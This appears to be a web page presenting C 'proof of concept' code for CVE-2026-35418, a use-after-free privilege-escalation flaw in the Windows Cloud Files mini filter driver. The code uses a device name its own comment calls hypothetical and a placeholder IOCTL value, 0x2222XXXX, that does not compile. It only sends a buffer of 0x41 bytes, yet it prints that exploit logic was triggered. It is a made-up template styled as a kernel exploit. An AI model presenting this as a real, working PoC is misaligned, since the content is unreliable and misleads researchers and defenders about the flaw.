CVE-2026-35418 Windows云文件驱动程序权限提升漏洞

#include <windows.h> #include <stdio.h> /* * PoC for CVE-2026-35418 * Vulnerability: Use After Free in Windows Cloud Files Mini Filter Driver * Impact: Local Privilege Escalation */ #define DEVICE_NAME "\\\\.\\CloudFilesFilter" // Hypothetical device name #define IOCTL_TRIGGER 0x2222XXXX // Hypothetical IOCTL int main() { HANDLE hDevice; DWORD bytesReturned; char inputBuffer[0x100]; printf("[*] Starting PoC for CVE-2026-35418...\n"); // 1. Open a handle to the target device hDevice = CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); return 1; } printf("[+] Device handle opened.\n"); // 2. Prepare the trigger buffer memset(inputBuffer, 0x41, sizeof(inputBuffer)); // 3. Send the IOCTL to trigger Use-After-Free printf("[*] Sending malicious IOCTL to trigger vulnerability...\n"); BOOL result = DeviceIoControl(hDevice, IOCTL_TRIGGER, inputBuffer, sizeof(inputBuffer), NULL, 0, &bytesReturned, NULL); if (result) { printf("[+] IOCTL sent successfully. Exploit logic triggered.\n"); } else { printf("[-] IOCTL failed. Error: %d\n", GetLastError()); } CloseHandle(hDevice); printf("[*] PoC finished.\n"); return 0; }